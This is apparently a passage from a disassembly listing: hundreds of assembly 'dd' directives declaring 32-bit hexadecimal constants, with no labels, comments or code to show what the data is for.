dd 20DFE44Ch, 98C18F8Bh
dd 387FE2C2h, 0E77AB15Bh, 0FF453311h, 0AE8F5C3Fh, 4AF2C2D7h
dd 1672BD0Fh, 9B874D69h, 89F1B2F8h, 0D2F2BAA0h, 774F786Fh
dd 9000AB3h, 59509C58h, 66FB6081h, 0E71E492Dh, 6491387Ah
dd 6DD9BDD5h, 0FCA423D3h, 1362149Eh, 489FACC6h, 0E33E01D1h
dd 0CE6D289Dh, 30D3812Dh, 6205123Eh, 8AFCCE89h, 4D56543h
dd 2F4A685h, 1D29CA7h, 2E733DCFh, 0ADAEE073h, 0FE6531B0h
dd 0C8FE0F2Dh, 475F4ED2h, 8CFA8F0Bh, 4ACB6D7h, 0E994EFA9h
dd 0C5756872h, 8DFD21DFh, 0D445AD96h, 23AE2C56h, 5B7D7854h
dd 83628BD6h, 0CE26803Ah, 0FB60D4CDh, 180A2EAAh, 2DB67852h
dd 558F37FBh, 10007188h, 0B22C178Ah, 0D62E1BBEh, 27CAC999h
dd 0CB29C9C4h, 6B90709Dh, 0F4BC115Dh, 5BE15A7Ch, 0DA2943C9h
dd 0CB29FAFBh, 0AD100C9Fh, 46B6F4ECh, 1DC0F3B3h, 50995E90h
dd 0FE75292Dh, 0E1138814h, 3C055805h, 0ED8FBE1Fh, 0E05C2A29h
dd 763F0639h, 0F182BBAEh, 2AE07D65h, 0F0D0D55Ch, 5388791Bh
dd 62CC0275h, 0C6AD54B1h, 0CCCD2E81h, 1C96AA56h, 48FEE64Bh
dd 3C594550h, 5E3201FAh, 0C543FACAh, 2062E0AEh, 4887C7FDh
dd 5901D0E5h, 0AECA057Eh, 7C028223h, 450A8FC1h, 54BEEFE4h
dd 27551940h, 0F909A478h, 5BDC05FCh, 39855F46h, 0B3D98AFDh
dd 1CD88664h, 81B3CBB7h, 2C186A9Eh, 2C3F98F5h, 0A3EE331h
dd 523BB14Eh, 275798CDh, 375B26F2h, 6C0991BDh, 39C403Ch
dd 57BC44DBh, 0C9555E15h, 0CDD6E371h, 0B38B0C5Ah, 7346B8Eh
dd 2A2B6988h, 0ACF6548h, 0F96F989Bh, 3120467Ah, 18C27361h
dd 0D53F293Bh, 473037C7h, 266EBBBh, 52FD72FDh, 0BC1644EBh
dd 1C41E4DDh, 9330C13Bh, 91DABFCh, 0EDB00E49h, 49248A3Eh
dd 0FDAD9903h, 0A4DD68FAh, 0F6B3EBD7h, 0A0C662FFh, 872BC9BCh
dd 6C06B71Eh, 909B2C7Eh, 952C2A04h, 0A1AC3328h, 0BB9BAF95h
dd 2489C227h, 456A48BCh, 0CADC3513h, 3EBE1FF0h, 0E0A8432Ch
dd 0A7E0A837h, 1A8486A1h, 9BE3D7C1h, 0A2AB29ACh, 0F1995493h
dd 2ED861F8h, 7E084E07h, 7AE7B35Dh, 0A23DA346h, 29A79F67h
dd 0ADBB2478h, 0E8030B72h, 4A68D857h, 0A5BFFEA0h, 617FB36Ah
dd 31391958h, 39FCB5DBh, 97BBA751h, 947EBC89h, 73F74BD9h
dd 0C3B52BEAh, 0E3B923EBh, 50A80939h, 6BB58F0Eh, 2CA3B64Bh
dd 0FEDA7EBFh, 20CFB8E8h, 95CB631Bh, 8D4D9C3Bh, 65681A18h
dd 0E15CB0A4h, 0BE2A8808h, 0B167A6DCh, 0A16ED07Ch, 0C74A236h
dd 7C4197B0h, 0BEFB2C08h, 0C761BE66h, 0D5AEC8B2h, 0EF8E38F3h
dd 64481E00h, 0AAAA58E1h, 0C3D223AEh, 457F1394h, 0C2FC262Eh
dd 1BDCF056h, 83391473h, 3323C485h, 1239793Ah, 0A6A7DF23h
dd 92D2F64Ah, 0A9456D48h, 0BC2AF564h, 0A2E0444Ch, 0EE87EBF6h
dd 439999CFh, 5C0AFABAh, 0B0CD888Fh, 4F942801h, 661ACDB0h
dd 5E56A09Ah, 47062BA1h, 9A11609Dh, 0A9ACB365h, 0C023CFA8h
dd 20F58D45h, 5966B41Ch, 37A4C086h, 4B097758h, 155D2A6Eh
dd 8EE9E5EFh, 0DAFEDF79h, 0E3209ABh, 4D2B78D2h, 1BF7DBC8h
dd 0DA61C7EAh, 0C9224DE4h, 3CA6DBCAh, 9EBB0B25h, 392867C5h
dd 85AFD43Eh, 0CE6ECC5Eh, 0E1142A80h, 0BF2FDED5h, 6165564Fh
dd 0B45DC619h, 7424C753h, 622F807Dh, 7A5CC1A3h, 4279C41Fh
dd 0AE0BB983h, 5801AF35h, 8C7A329Eh, 39BD395Eh, 19D2DDAAh
dd 20C35685h, 0DBA77B3h, 4592C208h, 2B37BE16h, 67902B75h
dd 69BAA144h, 75A3AC3Eh, 0B3D149D9h, 8A7356B9h, 0BF45FADEh
dd 0FB54C4Ch, 808D676Bh, 1C7BB43Eh, 21F768DCh, 0B3B69A5Dh
dd 4BE0BCA5h, 0A4C9736Eh, 0AD693F6Ch, 0D62DC6A5h, 9217DB92h
dd 47246B3Dh, 0A639FA8Eh, 4A297577h, 30A055F2h, 486130BDh
dd 2708E54Ch, 2C11612Dh, 0B22011C7h, 37E3DD9h, 0DC5C00A4h
dd 7505B57Ch, 7853D7EDh, 36BEDEEAh, 591DAA8Dh, 0F8D55D2Fh
dd 73274956h, 83643315h, 4746A4EEh, 0D0758662h, 9E9F911Dh
dd 4486C638h, 0E6FF037Ch, 0F6C012DAh, 0DAC36502h, 71ADF2A9h
dd 0FF30E581h, 162D8600h, 56EB3DB3h, 0A1772E44h, 98AF24D0h
dd 5C2B7CCh, 6D694E94h, 674A8DEDh, 4C013963h, 82521309h
dd 0C02F3BEDh, 909B3566h, 98E477DEh, 167A230Fh, 2B457B47h
dd 317BCA86h, 644A030h, 461689D1h, 0A77AD424h, 0C0C94E47h
dd 0F6E3E473h, 9F87AD66h, 3E122251h, 5FF728AFh, 2E7E9C71h
dd 15AC48F0h, 0F8B3E1EAh, 7A3879DCh, 0B0540409h, 0B5FBDFF6h
dd 1BA82CC3h, 98388D8Ch, 0D61D842Dh, 0FE221FEFh, 0A089DCA0h
dd 9806E515h, 524BB94Ch, 966FB62Ch, 0D436E289h, 89A27298h
dd 0CCCB1E59h, 0D7B8C3C6h, 0E4F8BB7h, 84361364h, 33206B9Dh
dd 789E1047h, 0E67D776Eh, 257DACBBh, 891869EDh, 3E533FACh
dd 0C78DD338h, 0D5F5D955h, 3920BF21h, 0D85CBBB6h, 218D672h
dd 928C050Dh, 0BC2D7316h, 0B31CA751h, 1C2FDD07h, 55039ED5h
dd 0C8E2D7CAh, 92682394h, 0DEC1F612h, 0DDB9990Eh, 3163242h
dd 96A8B470h, 716E9DF2h, 0F40FA4C1h, 40BD5832h, 0DE7B62DFh
dd 81D1229Dh, 34F86A55h, 44417498h, 716A5E12h, 7CDC99B5h
dd 0DE06571Bh, 49F3B2Eh, 5C7601C1h, 2DDEED2Eh, 87F52FC9h
dd 0FC46B4F3h, 0DB8BA24h, 65391B8h, 9C19B675h, 1B52A530h
dd 0A18FFDD2h, 1AC4A2A0h, 19092550h, 25FD4446h, 0DF16Eh
dd 37D38265h, 1E022A40h, 4D1F2A00h, 72D0628Bh, 6E64E948h
dd 0A1C2845h, 3741D55Ah, 0FE3C260Ah, 98DCD7AAh, 642601B3h
dd 3ECD8107h, 0EACD0C4Eh, 0CA624711h, 0ED4F6BEAh, 0F19366ADh
dd 22935FB3h, 5E94232Ch, 565B7C7Bh, 0D60582B3h, 0A000DBC4h
dd 59DDCC7Ah, 0C31E50F8h, 9C3AE5AFh, 3A7F6137h, 9A9912CEh
dd 0AD73046h, 0ED7AD7C0h, 0EB9BDAE3h, 4256D87h, 44F57EEFh
dd 6A0CD407h, 46D23921h, 0AFB43F61h, 67E95BFDh, 0ACDDA1E9h
dd 585D06C5h, 26E215EFh, 0E037E9CEh, 19666451h, 91728E8Eh
dd 1EB42E48h, 3A43E021h, 0DDFD9C2Eh, 0C0F6FD0Dh, 87159A05h
dd 616215BCh, 17EDD40Bh, 0A3039027h, 22D47B9Eh, 7CDC89F2h
dd 664F3C26h, 0F9710B8Eh, 653AB493h, 5F3EE773h, 346DA095h
dd 0B679F52Ah, 0D971B9E6h, 1B33319Ah, 0E0B39608h, 12C70037h
dd 9D7EFAECh, 0D54B1DE6h, 23B51F13h, 0E218BBA1h, 4A6E6304h
dd 0C8BAA48h, 3C3E1C90h, 2B0EEFC8h, 0CB607B33h, 2F2ABFCCh
dd 997B9F9h, 0E2560752h, 4237DEE1h, 0EBB8C2A0h, 0EFB39C7h
dd 0CF3C2D86h, 2D2870Bh, 57AD7214h, 816ACBC4h, 0C39348EAh
dd 0EE401305h, 8004512Ah, 527228E9h, 2ED80C83h, 72122ACFh
dd 0E00B2B67h, 5D14409Ch, 82C3C047h, 0B6FEA651h, 0C8A13B35h
dd 0E3818D06h, 54372B44h, 9C902C0Dh, 13B65869h, 0CD52BB75h
dd 9CCDE994h, 93C26C02h, 9C3424A1h, 175C8842h, 0DC54C75Ah
dd 0EF1C7788h, 0EB95727Eh, 4D91BA6Fh, 50D86FEh, 2D6517D3h
dd 0B2F34024h, 0ECF931BBh, 366D347Dh, 0F6C1AF8h, 0A767425Eh
dd 36A43193h, 258E36Fh, 191857B9h, 7E5481B2h, 5B98F076h
dd 43136635h, 0EDB74F74h, 0A5AC80D7h, 6EC4F171h, 0DA1358BEh
dd 9982DD27h, 0F3C2A348h, 8AF8D099h, 0E1A04C17h, 0A9CF7766h
dd 0C26A9C31h, 5AFAF3A1h, 0C9B5E192h, 54F1FE6Bh, 8998F50Ah
dd 0FF1E3E0h, 0C044B086h, 9FF41538h, 0F71719D6h, 406AFB2Eh
dd 7EBDE0A4h, 0ACF0BB41h, 3B704049h, 90F68F28h, 0D92E900Ah
dd 0B5262B9Ch, 7B09F166h, 1E2CEF04h, 43183EE2h, 3DF82EA1h
dd 7279E128h, 38746793h
dd 2FC01030h, 0E7F63B49h, 27A5A455h, 43F4DB5Bh, 2ADF0037h
dd 23E2C23Fh, 75B742E2h, 5FE8611Ah, 1CADA167h, 0C24BFF6Dh
dd 7133C08Ch, 7AF84DD6h, 74357891h, 9B735228h, 0FBAA1723h
dd 0DD3CC897h, 4EF2BD2Dh, 0C9EFF11Fh, 64840FF6h, 0AE2417A7h
dd 0C0D858ACh, 0FF3283AEh, 0B0D8989Ah, 9D5E9066h, 672E0910h
dd 0E9A9F695h, 0C5233AD2h, 0F83974EAh, 4D07D0BBh, 42B3A9D3h
dd 0B33A8BC0h, 4239AF23h, 3000316Ch, 0F9D3248Bh, 5DC5201Ch
dd 0FC98F7ECh, 5B6B9859h, 679EE322h, 0BD3BEFB8h, 0FA97E34Ch
dd 3C0A5175h, 70EF940Ah, 44DC1848h, 0E69A864h, 24186782h
dd 0A3430B71h, 779646CAh, 81DF6505h, 0D8CBB68Eh, 0D59741D9h
dd 0CDD5A419h, 0CB30B401h, 375C2325h, 0A809CEC6h, 0AD8B8527h
dd 8369AF79h, 7E0C890Eh, 0C3DEFB18h, 349222EAh, 0EF4B6341h
dd 1513A954h, 8126E451h, 0EE0841C1h, 0A1B92F5Bh, 269DEF41h
dd 84913EC0h, 5296260Bh, 0E6132480h, 4E7C9ADFh, 6853E3F4h
dd 9E24FC53h, 8F2812DBh, 0C7D3B428h, 2488DB96h, 0D3337FD4h
dd 6E88987Bh, 5BE88B77h, 82820CFAh, 2C8ECB90h, 0AA79A4B0h
dd 2A293BBEh, 0C9A505AEh, 2B4C2EB5h, 1F87522Dh, 0D51CB401h
dd 5D31DEFBh, 0DCE4631h, 0ACBEFF5Ch, 4FF602F9h, 99B5DD98h
dd 0A018577Ah, 0C62E7C2Dh, 15CC0244h, 0EC18B6B8h, 0FDE2D45Bh
dd 0B5D5BA61h, 77CEA2DEh, 0E28B32D2h, 1136B1F9h, 791EBCE4h
dd 7C013377h, 3BFB735Eh, 0EC2A4094h, 0E7DEC330h, 1BAABD70h
dd 2DEE53B4h, 658637FDh, 0B6CA0542h, 2E228947h, 0C1B6998Fh
dd 30E315B6h, 6B4FE82Bh, 0E868AF56h, 0EB393E77h, 76FABCC3h
dd 0BF503AD4h, 6A45D60Bh, 0B2F0A254h, 0FE1AE96h, 2B09FFB1h
dd 845A400Ah, 90E4BB16h, 0ECDA88B6h, 7AFCC269h, 50C3F2CBh
dd 0FC9CF544h, 0B44197F6h, 3B0C2584h, 0EE017D57h, 0ADD1F2CBh
dd 1EEF9598h, 769D2B25h, 5E66DED8h, 0EF78F499h, 0AF7164F5h
dd 1CBF0EB9h, 5FCF169Dh, 440DE4B2h, 87E8E109h, 0CEFB1CF8h
dd 3749E011h, 5065EAB2h, 395BC4DFh, 6F59D4D7h, 48CFACD1h
dd 3988BC3Ch, 841552B3h, 570196A6h, 72D1315Fh, 0E687C028h
dd 0C63B01Ah, 4E7B18BCh, 88BAA77Ah, 0ABD3FDD3h, 7680FDCAh
dd 9F840E79h, 0BFF220BFh, 622A0C29h, 0F43F9882h, 0BE2443D5h
dd 0D7A7960Fh, 903A30E5h, 11A1EF35h, 0F692E500h, 0A63D41E5h
dd 0D28FCB69h, 7E4CC98Ah, 0AC25FD98h, 0D28D8B92h, 9EDDEB39h
dd 604BFAADh, 0D6B77DB6h, 76AD842Eh, 87AA94F1h, 46F4524Bh
dd 3D6372F5h, 5BF0E1CBh, 47D1CD1h, 581F8583h, 8543BADBh
dd 0A1B35D76h, 2AA30F8Fh, 75794B04h, 9B08870Fh, 0F15C2BE3h
dd 0C71B01E3h, 0D30E8F83h, 0B0C07C11h, 0BD7E4D69h, 5F279B25h
dd 0DF4BA438h, 0C9B2A847h, 393CDAECh, 51B1282Bh, 85E060DFh
dd 0C49D3BF8h, 38164C02h, 575C71BCh, 0D1241CBh, 0DC039744h
dd 0CB1664D7h, 40313E15h, 21C1984Fh, 0E195CC2Ah, 65236DC5h
dd 0DD4EA3F7h, 0E183405Fh, 369B80F2h, 505BE58Bh, 971BD533h
dd 71079372h, 0B50D3B8Bh, 0D03A12E0h, 70F358C0h, 0C2CB8CEDh
dd 4B07ADE9h, 68B279DEh, 2CF1BB5Eh, 7416E665h, 65F3D362h
dd 0D6DD7CBAh, 49C592Ah, 0CA6E9607h, 78DF68FEh, 7B0F51D0h
dd 5946D5h, 8C01421Ah, 7109276Ch, 4E9FC4D8h, 0E2B96D6Dh
dd 47BE9632h, 9BD0FDB7h, 12169042h, 484AD145h, 0DEFEAD9Ch
dd 0BB556A44h, 72194A4Bh, 0EE77F1B4h, 0BD760ABAh, 0D7CEF08h
dd 70DD413h, 0B7FD4E30h, 410DA88Dh, 0FB031328h, 2E087DB4h
dd 5E93CC98h, 3C70E7Ah, 1DDA5541h, 53815049h, 0CF704C22h
dd 4D157802h, 0AF247206h, 0E86CA32h, 9AEDC933h, 2E7D0A32h
dd 40E10585h, 8846AA1h, 0C25E04C8h, 811FD8C1h, 7E27C08Eh
dd 0AE34E699h, 0D64DCB7Ch, 0FFC7F894h, 9396174Fh, 21CD84FAh
dd 71755BCh, 5B1A812Ch, 5B20F558h, 1A25936Bh, 0E86CD094h
dd 962B41C3h, 85F170FDh, 55F35313h, 0A1F68DDCh, 27BBBB18h
dd 357B148Ah, 6F4046E6h, 5F061C6Ah, 0D0BF3098h, 82E05898h
dd 8B907FFFh, 0F53D7103h, 2F05D0D2h, 76928CFEh, 4466B562h
dd 0DF94DFE9h, 5ABC116Ah, 0CC6F6558h, 64993DABh, 15FD8324h
dd 5124AEB2h, 6015ECB4h, 91BED9F1h, 7C2B983Bh, 9077BD68h
dd 26C271FBh, 0AB5F2959h, 8BB254B1h, 38F11D5Dh, 0DACED925h
dd 3E182635h, 70E4C634h, 452A9F08h, 0E6F0B4C5h, 95A9ADC0h
dd 539AF354h, 41642EAEh, 0CE816557h, 5B4A1497h, 0FB01F507h
dd 79C2D77Eh, 0B0F8EA19h, 78AB7CFDh, 0F0EE7C1Eh, 47052D55h
dd 0A51458F4h, 0DF41AEBDh, 0A60A5666h, 8A8ACEA4h, 2DBA0EECh
dd 599854BAh, 87C55A50h, 5AAA3AF0h, 301C4344h, 0BE3AC95Eh
dd 0F77FA607h, 9669D5FDh, 79314A70h, 0A65B5C0Fh, 0D45B5E74h
dd 0B9A5DC92h, 0C3B51BB6h, 0D329C6F7h, 2FD3BB5Dh, 0D96E4451h
dd 0C2FE1CFh, 0E7E5279Fh, 718E4588h, 9E77F8Bh, 0F2AD8CBFh
dd 71DB07F6h, 31A2D9BEh, 0BD50561Ch, 0F502AB9Ch, 0B85436Fh
dd 0DAD07624h, 37F0CF75h, 0B967C395h, 0A6692E1h, 5F90D170h
dd 0CDF84AC3h, 5E728A86h, 0DCC8990Bh, 0CC6959DCh, 85452738h
dd 0E7E79DB8h, 0E04BEFAAh, 6701E8B4h, 0C7318B8Ch, 8A1A73DAh
dd 2F56846Ch, 7DFE5819h, 5C9FE4E1h, 4174AC97h, 3B5A6989h
dd 9BA5D289h, 7166E7F1h, 4E30A5A7h, 24669019h, 3F99EE7Ah
dd 1EE15E9Eh, 54B794A9h, 0E964B69Fh, 78B5DE11h, 1E42FEh
dd 0D8837BE4h, 0F6F64B70h, 0CC8C0881h, 17ABDE30h, 0C86CBA75h
dd 0CBE7BAC8h, 119EAF87h, 59648851h, 0D90DCA46h, 6A866591h
dd 0ABD991C0h, 3DEF592Dh, 0BD7D6A95h, 1A6DD78Ah, 0CE6AB8EAh
dd 291A23Bh, 0CD932EECh, 1C3EAB8h, 51F5A5CFh, 2E2AD7AAh
dd 0D0467569h, 0F3330CB0h, 88B97355h, 4D325h, 74F9C920h
dd 0F1516CBBh, 0B3B10887h, 1D381C3Bh, 0B686A9A4h, 0B91A46D7h
dd 753E67DBh, 53CC20F7h, 36335455h, 8319F260h, 3C9E6F9Dh
dd 49E3377Fh, 20D3A1B8h, 289D0275h, 5AD26C26h, 0C4E5170h
dd 0BC523164h, 5F3BBA0Bh, 0C42A374Ah, 3E1B78F5h, 0A427FD80h
dd 828E69B7h, 37583258h, 6D903D2Bh, 5C2B2841h, 1B21B28h
dd 0BC10B7ABh, 7318180Fh, 78BAC93Bh, 28FB1B22h, 0FDDCF0B0h
dd 6822C2Dh, 51A0AE80h, 3F030985h, 0A28B84D0h, 9B16B778h
dd 0A6A8AE84h, 0B4745677h, 6F951F49h, 0B360A3F3h, 43089836h
dd 0C1E11701h, 197AE8DDh, 8B91E894h, 0D37F6FCCh, 9499B510h
dd 0AA1B27A8h, 0DF2D8CA2h, 3FF19C83h, 3315BA31h, 74B631EAh
dd 54849D64h, 7B129E37h, 0D7B60AECh, 4B6ED817h, 0A162686Ah
dd 867B5D83h, 829C10F5h, 0C16A9254h, 1406F4A5h, 0FEFD2820h
dd 4717FB0h, 91B2E19Fh, 0CF46ACFDh, 235AC896h, 4A86E457h
dd 0F6029622h, 6AE09D2Dh, 0C0DF27BAh, 166500C4h, 5A6F85C2h
dd 851F34F3h, 0AB3403CDh, 0F30C6E2Eh, 6F60810Dh, 7E012D4Bh
dd 1463B1AAh, 5E7B5042h, 5BAB7B3Ah, 0C8494174h, 1F8E4B22h
dd 0D214F1F8h, 4DFB87FBh, 420A5B2h, 36408988h, 2CA4D85Ch
dd 4626B0B3h, 1A61BB82h, 0AA314CC8h, 0AB08D1E1h, 0A7E7EA7Ah
dd 21964B6Dh, 68016913h, 28AC66E6h, 3414AD67h, 0F4F009B1h
dd 722FA745h, 847D199Bh, 8EA4C3C0h, 0BF442693h, 2CCA86A3h
dd 6FB2EA98h, 8C53E569h, 237E6620h, 0E2DFC42h, 6AB6CC6Ch
dd 6E8D5A01h, 215DB5C6h, 0B750BBE7h, 151A412Ah, 0AE1EC0CFh
dd 0D5A4B2A2h, 0E6DBD4A2h
dd 13357693h, 0A264E4ACh, 83D9C6D4h, 9F8B4382h, 2A5E1AB0h
dd 0B54ED089h, 73EBA4D9h, 2F4560D5h, 644D238Dh, 0D3B1DAEDh
dd 5CB8AE34h, 0EAEB1Eh, 0E96EBFB1h, 8981FB73h, 0DB55D044h
dd 0BB8DD68Bh, 47B670B4h, 0E1BB5C16h, 0C98CF1D2h, 320923A2h
dd 2E3A575Eh, 1EEEF0EEh, 57D5B8F6h, 0D5BEC171h, 243ED072h
dd 60584B61h, 0FA5FCFC9h, 0BCE59FA0h, 574EC84h, 8B55D24Dh
dd 6F3924A3h, 0ED91D813h, 29F3C0AAh, 4CFFBDACh, 0A69C3217h
dd 68E7EC75h, 2B1C3369h, 497D1E04h, 9FE4CD0Eh, 2A959F4Fh
dd 0E2B7E680h, 42289EF5h, 0F644FB54h, 2B7D771Bh, 0D9B2CC2Ah
dd 1DBE96E1h, 192C06BFh, 0D9540CC3h, 3627BE95h, 0ABC33598h
dd 6844BB47h, 0F791FF2Ch, 1382481Dh, 0C2B5B48Fh, 0C07945FDh
dd 0D7305093h, 0DB7F201Fh, 4621AAEEh, 0AE90397Ch, 2E8CF867h
dd 0AFAB06C9h, 39396882h, 0E27CCDDBh, 88044274h, 0A97E093Bh
dd 4C677AF2h, 195B293Bh, 0FCA3C7FFh, 86542F0h, 8ED7D411h
dd 6E468D12h, 0AB7F77B7h, 4FE775BBh, 37F8F014h, 230208A0h
dd 0EC396DF2h, 8673C93Ah, 0C8BA419Dh, 0EBB2DA96h, 0CF3556C5h
dd 6E69A1DAh, 46D6BD02h, 293C485Fh, 29B108C9h, 0A4E7832Fh
dd 4233612Ah, 2F7B185Eh, 5F1F66Eh, 95931810h, 6C7943F6h
dd 12C2AC47h, 0D161DD7h, 0B4F0D170h, 4A62E426h, 0A809BCC5h
dd 0D305B3D9h, 1ADF7AE6h, 5A95238Eh, 0DD6F1627h, 24228007h
dd 0ED8A9EF9h, 2AF4D8EFh, 81220613h, 16B44ECCh, 348C7778h
dd 99E49653h, 8A78C025h, 2FF73D9Ah, 1FB87EF8h, 36728189h
dd 6C045D32h, 9B145592h, 1D974F24h, 0DF065941h, 0D6C28D8Ch
dd 7D471378h, 0EB24C75Fh, 42F37B3Ch, 8A1EFD27h, 9E9DB5AAh
dd 9BFFDDCAh, 7743C0A5h, 0A2B13C58h, 0FE997326h, 0F140CEA3h
dd 551FF949h, 6F1D9DD7h, 0CF3EBC4h, 0D401E2E0h, 0A20EEB39h
dd 20810355h, 0FEA1F3DEh, 0F2337EE1h, 0E2E338Bh, 59F623E6h
dd 0E575E08Ah, 0F9181DD3h, 0DB627A60h, 0AD7D367h, 0F58A87CCh
dd 54890DE6h, 1234C292h, 70F1CAE2h, 3320511Fh, 50964986h
dd 466157CAh, 0F538A9CCh, 51482F73h, 915FE217h, 757FB706h
dd 0D3DB13Ch, 0E1BB23D9h, 0D450663Ch, 24DAB786h, 0FC9F5D8Bh
dd 401AB521h, 0B0A26268h, 4DCCF4ADh, 0CECE9FC9h, 0FAEEF72Ch
dd 7A505EDFh, 92E0914Bh, 0A0454C2Bh, 402B7872h, 0FC1F23Ah
dd 516357A3h, 93907C01h, 0FCEAF6C2h, 8D47A5B3h, 0FA864C02h
dd 7B744D9Eh, 7808EB51h, 0FEF9C09Ah, 0F86019B4h, 2ED9882Ch
dd 0FA3B6E08h, 82BA8EB9h, 0DD554182h, 702F4FF3h, 0F7105D00h
dd 0E94779C7h, 90EC20FDh, 0B67045F3h, 0B66D31DEh, 7C1C7FCh
dd 55E79D9Ah, 9B002CBAh, 0D6FB8DB6h, 94716F8Bh, 13CFCC50h
dd 0D04A0866h, 9DEE0639h, 2FA3CC76h, 0C5F1EB29h, 15E8A5A0h
dd 0FDB15ECFh, 56927624h, 0B3D6C0FDh, 59A2EE5Bh, 0F1A7CB1Dh
dd 27B7C99Dh, 2A0E7B95h, 39CF0E1Fh, 0ABC09F3Bh, 0E512C1EFh
dd 0AE97281Fh, 67EC544Fh, 0A4D612D1h, 71792593h, 0F5431A7Eh
dd 6D54602Ah, 38D3D9FEh, 10E66868h, 3E62E953h, 0B8ECEB3Ch
dd 0FC934F5Fh, 0F5C5EBC2h, 0DEED2DC0h, 89AB9F09h, 26417241h
dd 284D836Fh, 0D087DC9Ah, 5C8E427Ah, 4C17ED4Fh, 5C59E417h
dd 3C55A5C6h, 0B4CE6EEAh, 70FEA1BCh, 0AB8B898Dh, 293CA5EDh
dd 60C4ABF7h, 7FCBBEE4h, 0F431A373h, 0CF3D5389h, 0B49E0636h
dd 900F69B2h, 5454343Bh, 0E651D7D3h, 3122185Dh, 0C62B1054h
dd 0C792AC71h, 98417BEBh, 374D2220h, 0DFD3B947h, 91B2313Eh
dd 2F35E5Ah, 2702FBDAh, 0B1D13E4Fh, 3CB1B8FCh, 5BA18189h
dd 0F3E96CE1h, 0BC420A83h, 3B16E82h, 9CE4C41Ch, 0E6A5E274h
dd 4F3B81C5h, 6BC0F332h, 0CC8DFC2Ah, 46379C6h, 32D5B615h
dd 39278EBBh, 1C1277Dh, 44EC705Ch, 0E2998C05h, 0B1006C07h
dd 0F4207B35h, 57F5F26Dh, 11B69183h, 687BFh, 0ACB2AD25h
dd 7022B31Dh, 0A11167F9h, 7E20536Eh, 76C34161h, 8096EF1h
dd 48D7F88Ah, 246A9FDCh, 5C20DF73h, 8F508D09h, 0EF179EA9h
dd 0B0010B85h, 33648BF8h, 0FE6C4DFCh, 0D0FF1C96h, 8149F58Ch
dd 15A8286Fh, 78FB8756h, 0A5CBD9A1h, 76EBCD6Dh, 2B028085h
dd 37FE1277h, 0A9B1339Ch, 2E7950Bh, 0C4D3349Ch, 0D016DBDCh
dd 9D8EF07Eh, 54A8DE00h, 263E409Fh, 0E4FE0733h, 4E5F5223h
dd 0C20AFDCFh, 0F21F5235h, 934CFC88h, 0B1868Eh, 0E1B98093h
dd 43F50BFDh, 3D0EDDB5h, 0C4E54BBFh, 33D888DFh, 0F3BC5CE7h
dd 6AFAE753h, 72683D65h, 4AEF8192h, 39D4B383h, 0E4DAE884h
dd 0E546D3C9h, 0ABCCB2B2h, 3000501Ch, 0A81EA297h, 0BADF2D4Eh
dd 0FD4A82D9h, 5F28E4B2h, 9F6D20E0h, 0FD390BD9h, 72BF274Eh
dd 7485D841h, 3784FFCCh, 0A1957D2Ah, 0DE71850Ah, 0DA76C5D1h
dd 7307C231h, 14B73760h, 0A7CB27BBh, 0E77A2EC9h, 22E9B4FBh
dd 47851023h, 97AA8894h, 2C8C56A3h, 0A3082B25h, 0F58467C8h
dd 0B057475Eh, 51A3B542h, 0D21CA7E9h, 3900CBCEh, 2FED7035h
dd 1AEF4652h, 39234ED4h, 19EE5AC8h, 51D58D5Ch, 4F175E2Bh
dd 49974DDDh, 936F71D4h, 62BF3AC1h, 50207744h, 376EBDF9h
dd 4BE69038h, 149E737Ah, 326673B4h, 3A81FD9Ch, 51DC6CA7h
dd 5184822Eh, 0BC058928h, 4F1D3FDEh, 0FD8466D9h, 6BD66797h
dd 4AD449DDh, 0A87B46FFh, 0FBB33501h, 4D1C24AFh, 84A36748h
dd 7F93320Bh, 0DCBFEBEBh, 86D6CB61h, 0AA2653E8h, 954851D7h
dd 692B58CFh, 0B50A0355h, 0A5E0A219h, 0DE2057BEh, 391DDD39h
dd 0C9464060h, 0B47CD6B3h, 2DAA2AA2h, 19F753C0h, 0CCABEB4Ah
dd 0DCDB5DE7h, 3F743122h, 27904808h, 0E7BB8D2Eh, 7BCA2BD2h
dd 3E53F68Ch, 0DC0064FEh, 52B8F771h, 0DAD58530h, 3DB76F71h
dd 18BB592Fh, 297380A6h, 0B537C4A0h, 7E50A380h, 0EC00CCB0h
dd 0B463754h, 0F49AF006h, 447C9E73h, 8432B3DAh, 3F31F95h
dd 7139245h, 4402B2A4h, 0D0EE8E54h, 0CF00092Ah, 0C9B92D0Fh
dd 0F1A98257h, 6944C262h, 0B2D8B521h, 0B951CA99h, 5AD5BB0Ah
dd 0F13331B7h, 1315D88Ah, 53B136E2h, 7A47618Bh, 6DC8372Ah
dd 45A3C339h, 0CE3EBB58h, 29592BA0h, 9D7ED962h, 535FC47h
dd 4B403DEAh, 6A67E780h, 6FC30527h, 8DDE444Eh, 62163548h
dd 228E6403h, 97E1B072h, 8D78CAB9h, 0FA7066C6h, 96B8151Bh
dd 1CDEE84Bh, 0D33CB385h, 0FDBB280Ah, 2382EB09h, 2CAFAB9Dh
dd 0A1702BA1h, 228BBC8Fh, 0D5622106h, 319F005Eh, 5A650919h
dd 905132A6h, 53BC4F40h, 0C82EE863h, 6A63C237h, 0F3FD9701h
dd 4FDE18A6h, 0F7DDF795h, 1731E78Dh, 9875C499h, 0B1A2EBC1h
dd 0FE12A2CEh, 0F613760Ch, 1B68B8DCh, 835238A0h, 775C05FAh
dd 0B006FC03h, 252A2A8Bh, 0C51343Ah, 0A913DDA3h, 76FB591Dh
dd 5662800Dh, 0B1BAE3A2h, 0A2FD6278h, 1597551h, 0E621004Fh
dd 29547443h, 0E12545CBh, 0A347A0A6h, 23699C7h, 0C9116BD7h
dd 0AA1D60DFh, 0A55D4CB2h, 9FE5BA37h, 0BB52CEB8h, 9A91AE1Ah
dd 0D8FE3298h, 6D4BCC9Dh, 22055642h, 0E9B8FA90h, 3E2056DCh
dd 9A0B91F7h, 0D10EC3FCh, 3F4F1840h, 0D29BA09Eh, 0DAB7FD03h
dd 68EB24E3h, 0DA68CC66h, 4590D068h, 0AADFD8F9h, 8531E5Fh
dd 0B9AE275Eh, 0AD96E791h, 826096D9h, 9774679Ch, 6C88A7ABh
dd 0A3163E4Dh, 0DA71CFAAh, 276E6DD4h, 48526E9Bh, 0A250B4F2h
dd 0A56DF12Eh, 0DF0289F2h, 9CB44041h, 560DBA06h, 52DE6E22h
dd 2171A6D7h, 2198E85Ah
dd 313C3155h, 3560F056h, 84FCA968h, 601DD7B8h, 114F9C3Fh
dd 0A60CCF71h, 0FA1BF521h, 81ACF7B5h, 9D8F760Dh, 7EA814EBh
